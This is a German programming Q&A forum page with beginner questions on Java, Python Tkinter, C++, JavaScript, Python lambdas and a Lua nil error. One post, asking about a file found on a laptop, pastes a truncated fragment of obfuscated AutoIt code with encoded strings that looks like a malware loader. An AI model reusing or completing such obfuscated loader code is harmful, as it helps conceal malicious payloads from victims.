code verstehen aber nicht coden können?

ich habe informatik in der schule. Verständnis habe ich, aber wenn es dazu kommt dass ich selber coden soll ist alles falsch

ich soll ca. sowas schreiben:

public class Kurs {
    private Schueler[] schueler;

   
    public Kurs() {
        schueler = new Schueler[5];
        int[] noten = {5, 3, 4, 2, 3}; 
        for (int i = 0; i < 5; i++) { 
            schueler[i] = new Schueler("Schüler " + i, noten[i]); 
        }
    }

   
    public void alleNotenAusgeben() {
        for (int i = 0; i < schueler.length; i++) { 
            System.out.println(schueler[i].getName() + ": " + schueler[i].getNote()); 
        }
    }

    
    public void durchschnittAusgeben() {
        int summe = 0; 
        for (int i = 0; i < schueler.length; i++) { 
            summe += schueler[i].getNote(); 
        }
        double durchschnitt = summe*1.0 / schueler.length; // Berechnung des Durchschnitts
        System.out.println("Durchschnittsnote: " + durchschnitt); 
    }

    
    public void besteAusgeben() {
        int besteNote = 7; 
        String besterSchueler = ""; 
        for (int i = 0; i < schueler.length; i++) { 
            if (schueler[i].getNote() < besteNote) { 
                besteNote = schueler[i].getNote(); 
                besterSchueler = schueler[i].getName(); 
            }
        }
        System.out.println("Beste Note: " + besteNote + " von " + besterSchueler); // Ausgabe der besten Note und des Namens des besten Schülers
    }

} Wahrscheinlich ist das für euch Coding profis einfach, aber ich bin in der 10. Klasse und es ist jetzt nicht wirklich mein lieblingsfach. Ich versteh alles was dort gemacht wird, wie die Methode durchs Alley läuft, aber ich versteh auch irgendwie garnichts. ihr braucht mir das nicht zu erklären aber bitte helft mir wie ich mich verbessern soll

Java, Programmiersprache
komme bei einem Python Problem nicht weiter?

Hallo, ich programmiere gerade für mich eine art strasen rennen mit einem neuronalen netzt. das soll aber wirklich ein zeitaufwendiges projekt werden. aber jetzt brauch ich hilfe bei der strase. Ich will einen strasen kurs programmieren der schon bisschen lang ist, damit die autos auch fahren könne. kann mir villeicht jemand helfen weil sonst schaff ich das nicht. ich brauch sonst ewig dafür. also lasst euch von den roten linien nicht verwirren, aber es wäre perfekt wenn ihr einen strasen weg programmieren könntet mir kurven und allem drum und dran so wie zum teil schon in meinem code. Ausenrum um die strase soll eine blaue linie führen. Ein dickes dickes DANKE wenn das jemand schaffen würde, weil ich schaffs nicht. Da bin ich noch zu unerfahren. Deshalb wird das neuronales netzt unendlich dauern. Hier mein code :

import tkinter as tk

import math

class Ball:

  def __init__(self, canvas, color, size, x, y):

    self.canvas = canvas

    self.color = color

    self.size = size

    self.x = x

    self.y = y

    self.id = canvas.create_oval(x, y, x+size, y+size, fill=color)

    self.lines = [self.canvas.create_line(x, y, x, y, fill='red') for _ in range(5)]

    self.text = self.canvas.create_text(x, y, text="", fill="black")

  def update_lines(self):

    angles = [random.uniform(math.radians(-80), math.radians(80)) for _ in range(5)]

    distances = []

    for i, (line, angle) in enumerate(zip(self.lines, angles)):

      end_x = self.x + self.size/2 + 1000*math.cos(angle)

      end_y = self.y + self.size/2 - 1000*math.sin(angle)

      if end_y < road_top:

        end_y = road_top

      elif end_y > road_bottom:

        end_y = road_bottom

      self.canvas.coords(line, self.x + self.size/2, self.y + self.size/2, end_x, end_y)

      distances.append(min(abs(self.y + self.size/2 - road_top), abs(self.y + self.size/2 - road_bottom)))

    min_distance = min(distances)

    self.canvas.itemconfig(self.text, text=str(min_distance), state='normal')

  def hide_text(self):

    self.canvas.itemconfig(self.text, state='hidden')

def create_ball(canvas, size, y):

  x = 0

  return Ball(canvas, 'green', size, x, y)

root = tk.Tk()

canvas_width = 400

canvas_height = 300

ball_size = 10

road_top = canvas_height/2 - 50

road_bottom = canvas_height/2 + 50

canvas = tk.Canvas(root, width=canvas_width, height=canvas_height)

canvas.pack()

# Draw the road

canvas.create_rectangle(0, road_top, canvas_width, road_bottom, fill='gray')

canvas.create_line(0, canvas_height/2, canvas_width, canvas_height/2, fill='white', dash=(20, 20))

# Create balls on the road

balls = [create_ball(canvas, ball_size, y) for y in range(int(road_top), int(road_bottom), ball_size*2)]

for ball in balls:

  ball.update_lines()

  ball.hide_text()

root.mainloop()

Programm, Programmiersprache, Python, Straße, Python 3, Tkinter, Neuronales Netzwerk
random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Visual Basic, VBA, Code, Dummheit, Entschlüsseln, Hacking, lua, Programmiersprache, Python, Visual Studio, VBA Excel
CPP Anfänger Code hilfe?
#include <iostream>
#include <cmath>
using namespace std;


double Addition(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die addiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die addiert werden soll: ";
    cin >> zahl2;
    double Summe = zahl1 + zahl2;
    cout << "Die Summe ist: " << Summe << endl;
    return zahl1 + zahl2;
}


double Subtraktion(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die subtrahiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die subtrahiert werden soll: ";
    cin >> zahl2;
    double Differenz = zahl1 - zahl2;
    cout << "Die Differenz ist: " << Differenz << endl;
    return zahl1 - zahl2;
}


double Multiplikation(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die multipliziert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die multipliziert werden soll: ";
    cin >> zahl2;
    double Produkt = zahl1 * zahl2;
    cout << "Das Produkt ist: " << Produkt << endl;
    return zahl1 * zahl2;
}


double Division(double zahl1, double zahl2)
{
    cout << "Gebe die erste Zahl ein, die dividiert werden soll: ";
    cin >> zahl1;
    cout << "Gebe die zweite Zahl ein, die dividiert werden soll: ";
    cin >> zahl2;
    double Qoutient = zahl1 / zahl2;
    cout << "Der Quotient ist: " << Qoutient << endl;
    return zahl1 / zahl2;
}


double Potenz()
{
    double Basis;
    double Potenz;
    double Ergebnis;
    cout << "Gebe die Basis ein" << endl;
    cin >> Basis;
    cout << "Gebe die Potenz ein" << endl;
    cin >> Potenz;
    Ergebnis = pow(Basis, Potenz);
    cout << "Die Potenz ist: " << Ergebnis << endl;
    return pow(Basis, Potenz);
}


int main()
{
    char Rechenoperator;
    cout << "UNIVERSAL RECHNER" << endl;
    cout << "Bitte wähle die Rechenoperation aus" << endl;
    cout << "Addition(+)\nSubtraktion(-)\nMultiplikation(*)\nDivision(/)" << endl;
    cout << "Potenz(^)\nWurzel(<)\nProzent(%)" << endl;
    cin >> Rechenoperator;


    switch (Rechenoperator)
    {
    case '+':
        Addition(zahl1, zahl2);
        break;
    case '-':
        Subtraktion(zahl1, zahl2);
        break;
    case '*':
        Multiplikation(zahl1, zahl2);
        break;
    case '/':
        Division (zahl1, zahl2);
        break; 
    case '^':
        Potenz(Basis, Potenz);
        break;


    default:
        cout << "Ungültige Eingabe" << endl;
    }


    return 0;
}

main.cpp: In function ‘int main()’:
main.cpp:75:18: error: ‘zahl1’ was not declared in this scope
   75 |         Addition(zahl1, zahl2);
      |                  ^~~~~
main.cpp:75:25: error: ‘zahl2’ was not declared in this scope
   75 |         Addition(zahl1, zahl2);
      |                         ^~~~~
main.cpp:87:16: error: ‘Basis’ was not declared in this scope
   87 |         Potenz(Basis, Potenz);
Cplusplus, Array, Code, CPP, Programmiersprache, Visual Studio, Algorithmus
Javascript für allgemein programmieren lernen?

Hallo,

ich lerne aktuell programmieren bzw. habe schon etwas Erfahrung. Ich habe etwas in c rein geschnuppert, da ich mit Platinen gearbeitet habe. Allerdings habe ich da das Problem, dass ich zwar Sachen zum Laufen bekomme, es aber sehr lang dauert bzw. es mir sehr schwer fällt eine Struktur in mein Programm zu bringen.
Was in c noch dazu kommt: Man kann nicht so richtig das "reine programmieren" üben, weil man nie weiß ob es ein Hardware oder Software Problem ist. Teilweise debugge ich sehr lange meinen Code, nur um dann irgendeinen Hardware Fehler zu
finden und umgedreht.
Mir ist auch klar, dass genau das c programmieren ausmacht. Aber ich möchte jetzt erstmal etwas besser in programmieren und strukturieren von Programmen werden.

Jetzt hatte ich auch ein kleines bisschen mit Python angefangen, da man das auch später mal für Scripte gebrauchen kann. Hier fehlt mir allerdings etwas der Antrieb. Ideen für größere Programme finde ich nicht so richtig im Netz.

Jetzt war meine Idee ein paar kleine Spiele, wie z.B. Snake/TicTacToe etc. zu programmieren. Mit einer UI ist das in Python aber wieder etwas Pain.

In Javacript bzw. HTML/CSS bekommt man ja sehr viel leichter eine UI hin.

Denkt ihr ich kann auch Javascript verwenden um einfach besser im programmieren zu werden? Oder was sind eure Erfahrungen, wie man c programmieren besser lernt?

Bin für alle Tipps offen, vielen Dank!

HTML, CSS, Programmiersprache, Python
Python lambda?

Was macht lambda in diesem Code und wofür steht x?

def sort_tasks_by_due_date():
tasks.sort(key=lambda x: datetime.strptime(x["due_date"], "%d.%m.%Y"))

Hier der Komplette Code:

from datetime import datetime, timedelta
tasks = []
def add_task(description, due_date, priority):
task = {"description": description, "due_date": due_date, "priority": priority, "completed": False}
tasks.append(task)
def mark_completed(task_index):
if 0 <= task_index < len(tasks):
tasks[task_index]["completed"] = True
else:
print("Ungültiger Index für Aufgabe!")
def remove_task(task_index):
task_index = int(task_index)
if 0 <= task_index < len(tasks):
del tasks[task_index]
else:
print("Ungültiger Index für Aufgabe!")
def show_tasks():
for task_number, task in enumerate(tasks):
status = "Erledigt" if task["completed"] else "Offen"
print(f"{task_number + 1}. Beschreibung: {task['description']}, Fälligkeitsdatum: {task['due_date']}, Priorität: {task['priority']} - {status}")
def sort_tasks_by_due_date():
tasks.sort(key=lambda x: datetime.strptime(x["due_date"], "%d.%m.%Y"))
def remind_near_due_dates(days_before):
today = datetime.today()
for task in tasks:
due_date = datetime.strptime(task["due_date"], "%d.%m.%Y")
#Das Datum der Aufgabe minus des heutigen Datums, gleichviele Tage wie die Festgelgten Tage ist, dann gib eine Erinnerung aus.
if due_date - today <= timedelta(days=days_before) and not task["completed"]:
print(f"Erinnerung: Die Aufgabe '{task['description']}' ist bald fällig am {task['due_date']}!")
while True:
print("\n--- ToDo-Liste ---")
print("1. Aufgabe hinzufügen")
print("2. Aufgabe als erledigt markieren")
print("3. Aufgabe entfernen")
print("4. Aufgaben anzeigen")
print("5. Aufgaben nach Fälligkeitsdatum sortieren")
print("6. Erinnerung an nahende Fälligkeitsdaten einrichten")
print("7. Beenden")
choice = input("Wähle eine Option: ")
if choice == "1":
description = input("Beschreibung: ")
while True:
due_date = input("Fälligkeitsdatum (TT.MM.JJJJ): ")
try:
due_date_obj = datetime.strptime(due_date, "%d.%m.%Y")
if due_date_obj < datetime.today():
print("Fehler: Das Datum liegt in der Vergangenheit! Bitte geben Sie ein zukünftiges Datum ein.")
else:
break
except ValueError:
print("Fehler: Ungültiges Datumsformat! Bitte geben Sie das Datum im Format TT.MM.JJJJ ein.")
priority = input("Priorität: ")
add_task(description, due_date, priority)
elif choice == "2":
task_index = int(input("Index der erledigten Aufgabe: ")) - 1
mark_completed(task_index)
elif choice == "3":
try:
task_index = int(input("Index der zu entfernenden Aufgabe: ")) - 1
remove_task(task_index)
except ValueError:
print("Ungültige Eingabe! Bitte geben Sie eine Ganzzahl ein.")
elif choice == "4":
show_tasks()
elif choice == "5":
sort_tasks_by_due_date()
elif choice == "6":
try:
days_before = int(input("Tage vor Fälligkeitsdatum für Erinnerung: "))
remind_near_due_dates(days_before)
except ValueError:
print("Gib eine gültige Eingabe ein!")
elif choice == "7":
break
else:
print("Ungültige Auswahl!")
Programmiersprache, Python, Lambda, Python 3
Epic's "Core" Error running Lua task: [4C6A178280F8DC08]?

Ich spiele gerade ein wenig mit der Epic "Core"-Engine rum. Die benutzt die Lua-Version 5.3.6. - Ich bin absoluter Laie was coden angeht. Hab als Kind mal das ein oder andere Programm mit Visual Basic geschrieben und war stolz drauf. Das wars dann aber auch. Ich möchte verstehen wo der Fehler liegt.

Ich versuche das "META Inventory System" in Kombination mit dem "NPC AI Kit" zum laufen zu kriegen. Sobald ich einen NPC angreife kommt folgende Fehlermeldung:

Error running Lua task: [4C6A178280F8DC08] NPCKitTagGetter:164: attempt to index a nil value (local 'obj')

Soweit ich weiß heißt "nil" = non-existence or nothingness, bedeutet das der Code findet ein Objekt nicht?

Im Code selbst an der besagten Stelle, Line164: if obj.serverUserData and obj.serverUserData.combatTags then tagTable = obj.serverUserData.combatTags

Der NPC kann mir schaden zufügen und mich sogar besiegen. Sobald ich den NPC angreife nimmt er von diesem einen Angriff Schaden und danach keinen mehr, ab meinem ersten Angriff kann er mir auch keinen Schaden mehr zufügen. Das Game freezed jetzt nicht, aber es bricht halt die Gamemechanic so das es keinen Sinn mehr macht weiter zu spielen.

Ich bin da jetzt schon seit gut 4-5 Stunden dran.. und Tutorials zu dem Fehler gibt es auch nicht. Bin auch schon auf einem Discord extra für Lua Scripter gegangen, bisher konnte aber niemand helfen.

Vielleicht findet sich ja hier ein schlafloser Programmierer in Helferlaune. :)

Wenn noch was gebraucht wird an Info, gebe ich die natürlich. Ich lass den Tab mal offen und versuch weiter das Ding zum laufen zu kriegen.

System, Core, Error, lua, meta, nil, Programmiersprache, Epic, inventory

Meistgelesene Fragen zum Thema Programmiersprache